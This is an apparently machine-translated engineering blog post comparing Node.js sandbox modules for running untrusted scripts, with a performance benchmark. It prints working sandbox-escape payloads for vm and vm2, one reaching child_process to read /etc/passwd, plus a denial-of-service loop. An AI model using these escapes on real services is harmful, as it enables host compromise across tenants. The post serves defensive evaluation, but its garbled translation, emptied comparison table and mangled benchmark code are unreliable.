F(X) Team – Xiao Zhai

sequence

In imgcook intelligent code generation process, we hope to provide some custom ability, such as custom DSL, custom logic point recognition/expression, can let the developer in accordance with the standards of the official offer deal data, the control and authority within the custom code to generate your needs, also need not limited official offer code generation templates, Expand the ability of custom logic identification/expression, generate defined logic code, to meet the diversified needs of developers custom business.


So, the ability of these custom scripts need to be run in a sandbox container, at the same time, considering the operation environment as well as the ability to load Node module, we need to build script running on the service end sandbox container, so security is more important, the script for the developers must be strictly restricted and isolation, can affect the host program, also cannot affect users). Unlike applications that run on the client (the user), the client only affects itself when it runs.


Therefore, we investigated and explored how to choose/build a more secure sandbox module for Node.js applications.


What is a sandbox?

Sandbox is a virtual system application that allows you to allow browsers or other applications to run in a sandbox environment so that changes can be deleted later. It creates a sandboxed environment in which programs run without permanent impact on the hard disk. It is a separate virtual environment that can be used to test untrusted applications or online behavior.


A sandbox is a virtual system application that provides an environment that is independent of each running application and does not affect the existing system.


Node.js sandbox module analysis


Let’s take a look at some of the Node.js sandboxes we investigated earlier.


The module

(module)

security

(Secure)

Memory limit

(Memory Limits)

Whether the isolation

(Isolated)

multithreading

(Multithreaded)

Module support

(Module Support)

Inspector Support

vm









worker_threads










vm2









napajs







Partial


webworker-threads








tiny-worker











isolated-vm











jailed









safeify












  • Vm: just changes the context of the running environment, so the official website states that it cannot be used to execute unsafe code
  • Vm2: some simple overrides to improve security, because the same context, so the loader is the same, there is a global module modification problem
  • Webworker-threads: Early community implementation, cannot require
  • Worker_threads: Official implementation of multithreading, threads are indeed isolated, but there is no way to restrict IO operations
  • Tiny-worker: A wrapper on the top
  • Napa.js: Microsoft open source project, parallel computing environment, a V8-based multi-threaded JavaScript runtime originally designed to develop highly iterative services with excellent performance in Bing.
  • Isolated – VM: a nodeJS library that gives you access to V8’s Isolate interface. This way, you can create JavaScript environments that are completely isolated from each other. If you need to run untrusted code in a secure manner, you may find this module useful. You may also find this module useful if you need to run some JavaScript simultaneously in multiple threads. If you need to work on both projects at the same time, you may find this project very useful!
  • A small JavaScript library to sandbox untrusted code. The library is written in Vanilla – JS and has no dependencies.
  • Safeify: For dynamic code will execute process of setting up special pool, isolation in different host application in the process of implementation, support configuration sandbox the maximum number of processes, process pool support limit the maximum execution time synchronization code, also supports limited, including asynchronous code execution time, support the whole of the limited sandbox process pool of CPU resources quota, Support for limiting the maximum memory limit for the entire sandbox process pool.


Search the Node.js sandbox and node.js provides vm built-in modules. Let’s take a look at the VM module.



Node.js vm



Vm is a built-in module provided by default with Node.js that provides a set of apis for compiling and running code in a V8 virtual machine environment.


A common use case is to run the code in a different V8 Context.

This means invoked code has a different global object than the invoking code.

One can provide the context by contextifying an object. The invoked code treats any property in the context like a global variable. Any changes to global variables caused by the invoked code are reflected in the context object.


A common use case is to run the code in a different V8 context.

This means that the code being called has a different global object than the code being called.

Context can be provided by making the object context isolated. The invoked code treats any property in the context as a global variable. Any changes to global variables caused by the calling code will be reflected in the context object.


The vm module enables compiling and running code within V8 Virtual Machine contexts.

The vm module is not a security mechanism.

Do not use it to run untrusted code.


The VM module compiles and runs code in the V8 virtual machine context.

The VM module is not a secure mechanism.

Do not use it to run untrusted code.


The VM, although context-isolated, still has access to standard Javascript apis and the global Node.js environment.

So vm is not secure.


Here’s an example:

"use strict";
const vm = require('vm');
const result = vm.runInNewContext(`process`);
console.log(result);Copy the code

Results:

Process is not defined. By default, the VM module cannot access processes. To access processes, you need to specify authorization.

It seems that default access to “process, require”, etc., would suffice, but is there really no way to touch the main process and execute the code?

Look at the code below

"use strict";
const vm = require('vm');
const sandbox =  {};
const script = new vm.Script("this.constructor.constructor('return process')().exit()");
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log("Hello World!");Copy the code


In javascript this refers to the object to which it belongs, so when we use it we already refer to an object outside of the VM context.

This constructor returns Object constructor, and. Constructor returns Function constructor.

Function constructor is like the highest Function javascript provides in that it has access to global objects, so it can return global objects.

Function constructor allows you to generate functions from strings to execute arbitrary code.


You can see the Hello World! Never output.

It seems to isolate the code execution environment, but it’s actually very easy to escape.


Because node. js defaults to built-in vm modules, it makes a platform for ignoring ignoring requests for cooperation. Let’s take a look at the VM2 module.



Node.js vm2


Vm2 is vM-based and uses official VM libraries to build sandbox environments. Use JavaScript Proxy technology to prevent sandbox script escape. Specifies that the built-in modules of a whitelisted Node run untrusted code together. Safely! Only JavaScript built-in objects and buffers are available. The default dispatch functions (setInterval, setTimeout, and setImmediate) are not available by default.


Vm2 features

The main features are as follows:

  • Run untrusted javascript scripts
  • The terminal output of the sandbox is completely controllable
  • Modules can be loaded in a sandbox with limitations
  • Callback can be safely passed between sandboxes
  • Loop attack immunity while (true) {}



Vm2 works


Vm2 internally creates security (context) using the VM module, which uses proxies to prevent escape from the sandbox

Everything from VM contenxt to the sandbox is now available for processing.


"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")())');Copy the code

Throws an exception error, process is not defined.


The escape


Since VM2 contextalizes all objects in the VM context, the this keyword no longer has access to the constructor attribute, so our previous payload is invalidated.


For the bypass, we will need something outside of the sandbox so that it is not limited to the sandbox context, but can access the constructor again.

Now that all objects inside the VM are limited, we somehow need something external to crawl back into the process and execute the code.


If we write error code in a try block, this will cause the host process to throw an exception, which we then catch back to the VM and use for processing. That’s probably what we’re going to do


// vm2 fixes the bug const {NodeVM} = require('vm2'); 
nvm = new NodeVM()

nvm.run(`
  try {
  this.process.removeListener(); 
  } 
  catch (host_exception) {
  console.log('host exception: ' + host_exception.toString());
  host_constructor = host_exception.constructor.constructor;
  host_process = host_constructor('return this')().process;
  child_process = host_process.mainModule.require("child_process");
  console.log(child_process.execSync("cat /etc/passwd").toString()); } `);Copy the code


In the try block, we are trying to delete to perform this operation on the current process of listener – this. Process. RemoveListener () will host an exception. Since exceptions from the host process are not associated before being passed to the sandbox, we can use this exception to climb the desired tree to require.


After all, there are more new creative bypasses – more escapes – in VM2


In addition to sandbox escape, you can create an infinite loop denial of service using the infinite while loop method

const {VM} = require('vm2');
new VM({timeout:1}).run(`
        function main() {while(1){}
    }
    new Proxy({}, {
        getPrototypeOf(t){
            global.main();
        }
    })`);Copy the code


The performance comparison

The sandbox mechanic has a significant impact on performance


Since the increasing number of normal vm vm2 jailed

isolated-vm

1000

0.042 ms

1179.227 ms

354.053 ms

12.246 ms

24.303 ms

10000

0.368 ms

9404.247 ms

2107.150 ms

121.993 ms

242.625 ms

100000

11.375 ms

128843.386 ms

17624.867 ms

1058.524 ms

1155.492 ms


The test code

const vm = require('vm');
const { VM } = require('vm2');
const jailed = require('jailed');
const path = './plugin.js';

var api = {
  log: console.log
};
let plugin = new jailed.Plugin(path, api);

var reportResult = function(result) {
  // console.log("Result is: " + result);
};

let a = 0;
const vm2 = new VM({
  timeout: 1000,
  sandbox: {
    a: a
  }
});

const count = 100000;

// normal
console.time('normal');

for (let i = 0; i < count; ++i) {
  a += 1;
}

console.timeEnd('normal');

// vm
console.time('vm');

for (let i = 0; i < count; ++i) {
  vm.runInNewContext('a += 1', { a: a });
}

console.timeEnd('vm');

// vm2 timer
console.time('vm2');

for (let i = 0; i < count; ++i) {
  vm2.run('a += 1');
}

console.timeEnd('vm2');

// jailed
plugin.whenConnected(() => {
  console.time('jailed');
  for (let i = 0; i < count; ++i) {
    plugin.remote.square(2, reportResult);
  }
  console.timeEnd('jailed');
  plugin.disconnect();
});

console.time('isolated-vm'); // isolated vm // create an isolated vm with 128MB memory limit const ivm = require('isolated-vm'); const isolate = new ivm.Isolate({ memoryLimit: 128 }); / / the context of each virtual machine isolation isolated const context = isolate. CreateContextSync (); // Unreference global and pass it to context context.global.setsync ('global', context.global.derefInto()); // Execute in the above context and deconstruct the resultfor (let i = 0; i < count; ++i) {
  const { result } = context.evalSync(`(() => "Hello world") (the) `); // console.log(result); } // > hello world // console.log(result); console.timeEnd('isolated-vm');
Copy the code



The last

Running untrusted code is difficult, and relying only on software modules as sandbox techniques to prevent untrusted code from being used for improper purposes is a bad decision. This can make SAAS applications on the cloud insecure, as data between multiple tenants can be accessed by escaping the sandbox process. Therefore, custom script execution is only open internally, and external execution must be rigorously reviewed. Try to avoid executing dynamic scripts, and I hope this article will help you if you can’t avoid or need this feature.



The resources

  • Nodejs.org/api/vm.html…
  • Github.com/patriksimek…
  • Github.com/laverdet/is…
  • Odino.org/eval-no-mor…
  • Pwnisher. Gitlab. IO/nodejs/sand…